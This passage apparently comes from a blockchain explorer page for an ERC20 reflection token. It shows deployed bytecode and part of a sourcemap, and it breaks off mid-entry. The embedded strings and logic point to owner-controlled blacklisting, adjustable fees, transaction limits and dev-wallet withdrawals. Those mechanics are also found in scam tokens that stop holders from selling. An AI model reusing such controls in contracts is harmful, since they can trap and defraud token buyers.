ffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611c145760009050611d9b565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611cbf5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cd757600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d825750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d9a57600a54600c81905550600b54600d819055505b5b611da784848484612107565b50505050565b6000838311158290611df5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dec91906128c4565b60405180910390fd5b5060008385611e049190613466565b9050809150509392505050565b6000600654821115611e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4f9061350c565b60405180910390fd5b6000611e62612134565b9050611e77818461215f90919063ffffffff16565b915050919050565b6001601660146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eb757611eb6612bbb565b5b604051908082528060200260200182016040528015611ee55781602001602082028036833780820191505090505b5090503081600081518110611efd57611efc612e6d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9f57600080fd5b505afa158015611fb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd79190613541565b81600181518110611feb57611fea612e6d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061205230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120b6959493929190613667565b600060405180830381600087803b1580156120d057600080fd5b505af11580156120e4573d6000803e3d6000fd5b50505050506000601660146101000a81548160ff02191690831515021790555050565b80612115576121146121a9565b5b6121208484846121ec565b8061212e5761212d6123b7565b5b50505050565b60008060006121416123cb565b91509150612158818361215f90919063ffffffff16565b9250505090565b60006121a183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612427565b905092915050565b6000600c541480156121bd57506000600d54145b156121c7576121ea565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806121fe8761248a565b95509550955095509550955061225c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233d8161259a565b6123478483612657565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123a49190612a8d565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600654905060006618a9b65407e00090506123fd6618a9b65407e00060065461215f90919063ffffffff16565b82101561241a576006546618a9b65407e000935093505050612423565b81819350935050505b9091565b6000808311829061246e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246591906128c4565b60405180910390fd5b506000838561247d91906136f0565b9050809150509392505050565b60008060008060008060008060006124a78a600c54600d54612691565b92509250925060006124b7612134565b905060008060006124ca8e878787612727565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061253483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dad565b905092915050565b600080828461254b919061337e565b905083811015612590576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125879061376d565b60405180910390fd5b8091505092915050565b60006125a4612134565b905060006125bb82846127b090919063ffffffff16565b905061260f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61266c826006546124f290919063ffffffff16565b6006819055506126878160075461253c90919063ffffffff16565b6007819055505050565b6000806000806126bd60646126af888a6127b090919063ffffffff16565b61215f90919063ffffffff16565b905060006126e760646126d9888b6127b090919063ffffffff16565b61215f90919063ffffffff16565b9050600061271082612702858c6124f290919063ffffffff16565b6124f290919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061274085896127b090919063ffffffff16565b9050600061275786896127b090919063ffffffff16565b9050600061276e87896127b090919063ffffffff16565b905060006127978261278985876124f290919063ffffffff16565b6124f290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156127c35760009050612825565b600082846127d1919061378d565b90508284826127e091906136f0565b14612820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281790613859565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561286557808201518184015260208101905061284a565b83811115612874576000848401525b50505050565b6000601f19601f8301169050919050565b60006128968261282b565b6128a08185612836565b93506128b0818560208601612847565b6128b98161287a565b840191505092915050565b600060208201905081810360008301526128de818461288b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612925826128fa565b9050919050565b6129358161291a565b811461294057600080fd5b50565b6000813590506129528161292c565b92915050565b6000819050919050565b61296b81612958565b811461297657600080fd5b50565b60008135905061298881612962565b92915050565b600080604083850312156129a5576129a46128f0565b5b60006129b385828601612943565b92505060206129c485828601612979565b9150509250929050565b60008115159050919050565b6129e3816129ce565b82525050565b60006020820190506129fe60008301846129da565b92915050565b6000819050919050565b6000612a29612a24612a1f846128fa565b612a04565b6128fa565b9050919050565b6000612a3b82612a0e565b9050919050565b6000612a4d82612a30565b9050919050565b612a5d81612a42565b82525050565b6000602082019050612a786000830184612a54565b92915050565b612a8781612958565b82525050565b6000602082019050612aa26000830184612a7e565b92915050565b600080600060608486031215612ac157612ac06128f0565b5b6000612acf86828701612943565b9350506020612ae086828701612943565b9250506040612af186828701612979565b9150509250925092565b600060208284031215612b1157612b106128f0565b5b6000612b1f84828501612979565b91505092915050565b612b318161291a565b82525050565b6000602082019050612b4c6000830184612b28565b92915050565b600060ff82169050919050565b612b6881612b52565b82525050565b6000602082019050612b836000830184612b5f565b92915050565b600060208284031215612b9f57612b9e6128f0565b5b6000612bad84828501612943565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612bf38261287a565b810181811067ffffffffffffffff82111715612c1257612c11612bbb565b5b80604052505050565b6000612c256128e6565b9050612c318282612bea565b919050565b600067ffffffffffffffff821115612c5157612c50612bbb565b5b602082029050602081019050919050565b600080fd5b6000612c7a612c7584612c36565b612c1b565b90508083825260208201905060208402830185811115612c9d57612c9c612c62565b5b835b81811015612cc65780612cb28882612943565b845260208401935050602081019050612c9f565b5050509392505050565b600082601f830112612ce557612ce4612bb6565b5b8135612cf5848260208601612c67565b91505092915050565b60008060408385031215612d1557612d146128f0565b5b6000612d2385828601612979565b925050602083013567ffffffffffffffff811115612d4457612d436128f5565b5b612d5085828601612cd0565b9150509250929050565b60008060008060808587031215612d7457612d736128f0565b5b6000612d8287828801612979565b9450506020612d9387828801612979565b9350506040612da487828801612979565b9250506060612db587828801612979565b91505092959194509250565b60008060408385031215612dd857612dd76128f0565b5b6000612de685828601612943565b9250506020612df785828601612943565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612e37602083612836565b9150612e4282612e01565b602082019050919050565b60006020820190508181036000830152612e6681612e2a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ed682612958565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f0957612f08612e9c565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612f70602683612836565b9150612f7b82612f14565b604082019050919050565b60006020820190508181036000830152612f9f81612f63565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613002602483612836565b915061300d82612fa6565b604082019050919050565b6000602082019050818103600083015261303181612ff5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613094602283612836565b915061309f82613038565b604082019050919050565b600060208201905081810360008301526130c381613087565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613126602583612836565b9150613131826130ca565b604082019050919050565b6000602082019050818103600083015261315581613119565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131b8602383612836565b91506131c38261315c565b604082019050919050565b600060208201905081810360008301526131e7816131ab565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061324a602983612836565b9150613255826131ee565b604082019050919050565b600060208201905081810360008301526132798161323d565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006132b6601c83612836565b91506132c182613280565b602082019050919050565b600060208201905081810360008301526132e5816132a9565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613348602383612836565b9150613353826132ec565b604082019050919050565b600060208201905081810360008301526133778161333b565b9050919050565b600061338982612958565b915061339483612958565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133c9576133c8612e9c565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613430602383612836565b915061343b826133d4565b604082019050919050565b6000602082019050818103600083015261345f81613423565b9050919050565b600061347182612958565b915061347c83612958565b92508282101561348f5761348e612e9c565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134f6602a83612836565b91506135018261349a565b604082019050919050565b60006020820190508181036000830152613525816134e9565b9050919050565b60008151905061353b8161292c565b92915050565b600060208284031215613557576135566128f0565b5b60006135658482850161352c565b91505092915050565b6000819050919050565b600061359361358e6135898461356e565b612a04565b612958565b9050919050565b6135a381613578565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135de8161291a565b82525050565b60006135f083836135d5565b60208301905092915050565b6000602082019050919050565b6000613614826135a9565b61361e81856135b4565b9350613629836135c5565b8060005b8381101561365a57815161364188826135e4565b975061364c836135fc565b92505060018101905061362d565b5085935050505092915050565b600060a08201905061367c6000830188612a7e565b613689602083018761359a565b818103604083015261369b8186613609565b90506136aa6060830185612b28565b6136b76080830184612a7e565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006136fb82612958565b915061370683612958565b925082613716576137156136c1565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613757601b83612836565b915061376282613721565b602082019050919050565b600060208201905081810360008301526137868161374a565b9050919050565b600061379882612958565b91506137a383612958565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156137dc576137db612e9c565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613843602183612836565b915061384e826137e7565b604082019050919050565b6000602082019050818103600083015261387281613836565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f2a4c831dc173d4d051a86062939c40da755194c9cd1ff5a680c093dda8c7f464736f6c63430008090033
Deployed Bytecode Sourcemap
4113:12711:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6574:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7499:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5501:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6851:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7700:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5465:27;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5724:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6760:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5549:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12242:249;;;;;;;;;;;;;:::i;:::-;;6954:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1600:148;;;;;;;;;;;;;:::i;:::-;;16580:241;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16433:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5622:43;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5209;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1386:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5672:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6665:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16103:291;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7100:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5166:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11998:236;;;;;;;;;;;;;:::i;:::-;;12499:198;;;;;;;;;;;;;:::i;:::-;;7307:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1756:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6574:83;6611:13;6644:5;;;;;;;;;;;;;;;;;6637:12;;6574:83;:::o;7499:193::-;7601:4;7623:39;7632:12;:10;:12::i;:::-;7646:7;7655:6;7623:8;:39::i;:::-;7680:4;7673:11;;7499:193;;;;:::o;5501:41::-;;;;;;;;;;;;;:::o;6851:95::-;6904:7;4671:15;6924:14;;6851:95;:::o;7700:446::-;7832:4;7849:36;7859:6;7867:9;7878:6;7849:9;:36::i;:::-;7896:220;7919:6;7940:12;:10;:12::i;:::-;7967:138;8023:6;7967:138;;;;;;;;;;;;;;;;;:11;:19;7979:6;7967:19;;;;;;;;;;;;;;;:33;7987:12;:10;:12::i;:::-;7967:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7896:8;:220::i;:::-;8134:4;8127:11;;7700:446;;;;;:::o;5465:27::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5724:50::-;;;;:::o;6760:83::-;6801:5;4345:1;6819:16;;6760:83;:::o;5549:28::-;;;;;;;;;;;;;:::o;12242:249::-;12308:19;;;;;;;;;;;12292:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;12347:17;;;;;;;;;;;12331:33;;:12;:10;:12::i;:::-;:33;;;12292:72;12284:81;;;;;;12376:26;12405:21;12376:50;;12437:17;;;;;;;;;;;:26;;:46;12464:18;12437:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12273:218;12242:249::o;6954:138::-;7020:7;7047:37;7067:7;:16;7075:7;7067:16;;;;;;;;;;;;;;;;7047:19;:37::i;:::-;7040:44;;6954:138;;;:::o;1600:148::-;1523:12;:10;:12::i;:::-;1513:22;;:6;;;;;;;;;;:22;;;1505:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1707:1:::1;1670:40;;1691:6;::::0;::::1;;;;;;;;1670:40;;;;;;;;;;;;1738:1;1721:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1600:148::o:0;16580:241::-;1523:12;:10;:12::i;:::-;1513:22;;:6;;;;;;;;;;:22;;;1505:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16698:13:::1;16681:14;:30;;;;16727:9;16722:92;16746:5;:12;16742:1;:16;16722:92;;;16797:5;16780:4;:14;16785:5;16791:1;16785:8;;;;;;;;:::i;:::-;;;;;;;;16780:14;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;16760:3;;;;;:::i;:::-;;;;16722:92;;;;16580:241:::0;;:::o;16433:108::-;1523:12;:10;:12::i;:::-;1513:22;;:6;;;;;;;;;;:22;;;1505:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16522:11:::1;16507:12;:26;;;;16433:108:::0;:::o;5622:43::-;;;;:::o;5209:::-;;;;;;;;;;;;;;;;;:::o;1386:79::-;1424:7;1451:6;;;;;;;;;;;1444:13;;1386:79;:::o;5672:45::-;;;;:::o;6665:87::-;6704:13;6737:7;;;;;;;;;;;;;;;;;6730:14;;6665:87;:::o;16103:291::-;1523:12;:10;:12::i;:::-;1513:22;;:6;;;;;;;;;;:22;;;1505:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16254:13:::1;16237:14;:30;;;;16296:14;16278:15;:32;;;;16336:11;16321:12;:26;;;;16374:12;16358:13;:28;;;;16103:291:::0;;;;:::o;7100:199::-;7205:4;7227:42;7237:12;:10;:12::i;:::-;7251:9;7262:6;7227:9;:42::i;:::-;7287:4;7280:11;;7100:199;;;;:::o;5166:36::-;;;;;;;;;;;;;;;;;;;;;;:::o;11998:236::-;12064:19;;;;;;;;;;;12048:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;12103:17;;;;;;;;;;;12087:33;;:12;:10;:12::i;:::-;:33;;;12048:72;12040:81;;;;;;12132:23;12158:24;12176:4;12158:9;:24::i;:::-;12132:50;;12193:33;12210:15;12193:16;:33::i;:::-;12029:205;11998:236::o;12499:198::-;1523:12;:10;:12::i;:::-;1513:22;;:6;;;;;;;;;;:22;;;1505:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12557:9:::1;12553:137;12576:10;:17;;;;12572:1;:21;12553:137;;;12614:14;12631:10;12642:1;12631:13;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12614:30;;12674:4;12659;:12;12664:6;12659:12;;;;;;;;;;;;;;;;:19;;;;;;;;;;;;;;;;;;12599:91;12595:3;;;;;:::i;:::-;;;;12553:137;;;;12499:198::o:0;7307:184::-;7424:7;7456:11;:18;7468:5;7456:18;;;;;;;;;;;;;;;:27;7475:7;7456:27;;;;;;;;;;;;;;;;7449:34;;7307:184;;;;:::o;1756:244::-;1523:12;:10;:12::i;:::-;1513:22;;:6;;;;;;;;;;:22;;;1505:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1865:1:::1;1845:22;;:8;:22;;;;1837:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1955:8;1926:38;;1947:6;::::0;::::1;;;;;;;;1926:38;;;;;;;;;;;;1984:8;1975:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1756:244:::0;:::o;145:98::-;198:7;225:10;218:17;;145:98;:::o;8837:369::-;8981:1;8964:19;;:5;:19;;;;8956:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9062:1;9043:21;;:7;:21;;;;9035:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9144:6;9114:11;:18;9126:5;9114:18;;;;;;;;;;;;;;;:27;9133:7;9114:27;;;;;;;;;;;;;;;:36;;;;9182:7;9166:32;;9175:5;9166:32;;;9191:6;9166:32;;;;;;:::i;:::-;;;;;;;;8837:369;;;:::o;9214:2285::-;9352:1;9336:18;;:4;:18;;;;9328:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9429:1;9415:16;;:2;:16;;;;9407:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9499:1;9490:6;:10;9482:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9571:7;:5;:7::i;:::-;9563:15;;:4;:15;;;;:32;;;;;9588:7;:5;:7::i;:::-;9582:13;;:2;:13;;;;9563:32;9559:1214;;;9658:13;;;;;;;;;;;9652:19;;:2;:19;;;;:42;;;;;9689:4;9675:19;;:2;:19;;;;9652:42;9649:100;;;9714:10;9730:2;9714:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9649:100;9781:12;;9771:6;:22;;9763:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;9850:4;:10;9855:4;9850:10;;;;;;;;;;;;;;;;;;;;;;;;;9849:11;:24;;;;;9865:4;:8;9870:2;9865:8;;;;;;;;;;;;;;;;;;;;;;;;;9864:9;9849:24;9841:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;9939:13;;;;;;;;;;;9933:19;;:2;:19;;;9930:146;;10006:14;;9997:6;9981:13;9991:2;9981:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9973:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;9930:146;10092:28;10123:24;10141:4;10123:9;:24::i;:::-;10092:55;;10162:12;10201:19;;10177:20;:43;;10162:58;;10264:12;;10240:20;:36;10237:124;;10333:12;;10310:35;;10237:124;10381:7;:18;;;;;10393:6;;;;;;;;;;;10392:7;10381:18;:43;;;;;10411:13;;;;;;;;;;;10403:21;;:4;:21;;;;10381:43;:72;;;;;10429:18;:24;10448:4;10429:24;;;;;;;;;;;;;;;;;;;;;;;;;10428:25;10381:72;:99;;;;;10458:18;:22;10477:2;10458:22;;;;;;;;;;;;;;;;;;;;;;;;;10457:23;10381:99;10377:385;;;10501:38;10518:20;10501:16;:38::i;:::-;10558:26;10587:21;10558:50;;10652:1;10631:18;:22;10627:120;;;10678:17;;;;;;;;;;;:26;;:49;10705:21;10678:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10627:120;10482:280;10377:385;9597:1176;;9559:1214;10785:12;10800:4;10785:19;;10849:18;:24;10868:4;10849:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;10877:18;:22;10896:2;10877:22;;;;;;;;;;;;;;;;;;;;;;;;;10849:50;10848:102;;;;10913:13;;;;;;;;;;;10905:21;;:4;:21;;;;:44;;;;;10936:13;;;;;;;;;;;10930:19;;:2;:19;;;;10905:44;10848:102;10844:594;;;10977:5;10967:15;;10844:594;;;11060:13;;;;;;;;;;;11052:21;;:4;:21;;;:55;;;;;11091:15;;;;;;;;;;;11077:30;;:2;:30;;;;11052:55;11049:162;;;11140:14;;11128:9;:26;;;;11183:12;;11173:7;:22;;;;11049:162;11270:13;;;;;;;;;;;11264:19;;:2;:19;;;:55;;;;;11303:15;;;;;;;;;;;11287:32;;:4;:32;;;;11264:55;11260:165;;;11352:15;;11340:9;:27;;;;11396:13;;11386:7;:23;;;;11260:165;10844:594;11450:41;11465:4;11471:2;11475:6;11483:7;11450:14;:41::i;:::-;9317:2182;9214:2285;;;:::o;2364:224::-;2484:7;2517:1;2512;:6;;2520:12;2504:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2544:9;2560:1;2556;:5;;;;:::i;:::-;2544:17;;2579:1;2572:8;;;2364:224;;;;;:::o;8154:323::-;8249:7;8307;;8296;:18;;8274:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;8395:19;8417:10;:8;:10::i;:::-;8395:32;;8445:24;8457:11;8445:7;:11;;:24;;;;:::i;:::-;8438:31;;;8154:323;;;:::o;11507:483::-;5877:4;5868:6;;:13;;;;;;;;;;;;;;;;;;11585:21:::1;11623:1;11609:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11585:40;;11654:4;11636;11641:1;11636:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11680:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11670:4;11675:1;11670:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;11713:62;11730:4;11745:15;;;;;;;;;;;11763:11;11713:8;:62::i;:::-;11786:15;;;;;;;;;;;:66;;;11867:11;11893:1;11909:4;11936;11956:15;11786:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11574:416;5913:5:::0;5904:6;;:14;;;;;;;;;;;;;;;;;;11507:483;:::o;12705:282::-;12861:7;12856:28;;12870:14;:12;:14::i;:::-;12856:28;12895:44;12913:6;12921:9;12932:6;12895:17;:44::i;:::-;12955:7;12950:29;;12964:15;:13;:15::i;:::-;12950:29;12705:282;;;;:::o;15666:164::-;15708:7;15729:15;15746;15765:19;:17;:19::i;:::-;15728:56;;;;15802:20;15814:7;15802;:11;;:20;;;;:::i;:::-;15795:27;;;;15666:164;:::o;2850:132::-;2908:7;2935:39;2939:1;2942;2935:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2928:46;;2850:132;;;;:::o;8485:219::-;8545:1;8532:9;;:14;:30;;;;;8561:1;8550:7;;:12;8532:30;8528:43;;;8564:7;;8528:43;8603:9;;8583:17;:29;;;;8641:7;;8623:15;:25;;;;8673:1;8661:9;:13;;;;8695:1;8685:7;:11;;;;8485:219;:::o;12995:610::-;13142:15;13172:23;13210:12;13237:23;13275:12;13302:13;13329:19;13340:7;13329:10;:19::i;:::-;13127:221;;;;;;;;;;;;13377:28;13397:7;13377;:15;13385:6;13377:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;13359:7;:15;13367:6;13359:15;;;;;;;;;;;;;;;:46;;;;13437:39;13460:15;13437:7;:18;13445:9;13437:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;13416:7;:18;13424:9;13416:18;;;;;;;;;;;;;;;:60;;;;13487:16;13497:5;13487:9;:16::i;:::-;13514:23;13526:4;13532;13514:11;:23::i;:::-;13570:9;13553:44;;13562:6;13553:44;;;13581:15;13553:44;;;;;;:::i;:::-;;;;;;;;13116:489;;;;;;12995:610;;;:::o;8712:117::-;8768:17;;8756:9;:29;;;;8806:15;;8796:7;:25;;;;8712:117::o;15838:257::-;15889:7;15898;15918:15;15936:7;;15918:25;;15954:15;4671;15954:25;;16004:20;4671:15;16004:7;;:11;;:20;;;;:::i;:::-;15994:7;:30;15990:61;;;16034:7;;4671:15;16026:25;;;;;;;;15990:61;16070:7;16079;16062:25;;;;;;15838:257;;;:::o;2990:223::-;3110:7;3142:1;3138;:5;3145:12;3130:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3169:9;3185:1;3181;:5;;;;:::i;:::-;3169:17;;3204:1;3197:8;;;2990:223;;;;;:::o;14024:615::-;14124:7;14146;14168;14190;14212;14234;14270:23;14295:12;14309:13;14339:40;14351:7;14360:9;;14371:7;;14339:11;:40::i;:::-;14269:110;;;;;;14390:19;14412:10;:8;:10::i;:::-;14390:32;;14434:15;14451:23;14476:12;14505:46;14517:7;14526:4;14532:5;14539:11;14505;:46::i;:::-;14433:118;;;;;;14570:7;14579:15;14596:4;14602:15;14619:4;14625:5;14562:69;;;;;;;;;;;;;;;;;;;14024:615;;;;;;;:::o;2220:136::-;2278:7;2305:43;2309:1;2312;2305:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2298:50;;2220:136;;;;:::o;2033:179::-;2091:7;2111:9;2127:1;2123;:5;;;;:::i;:::-;2111:17;;2152:1;2147;:6;;2139:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2203:1;2196:8;;;2033:179;;;;:::o;13613:211::-;13666:19;13688:10;:8;:10::i;:::-;13666:32;;13709:13;13725:22;13735:11;13725:5;:9;;:22;;;;:::i;:::-;13709:38;;13783:33;13810:5;13783:7;:22;13799:4;13783:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;13758:7;:22;13774:4;13758:22;;;;;;;;;;;;;;;:58;;;;13655:169;;13613:21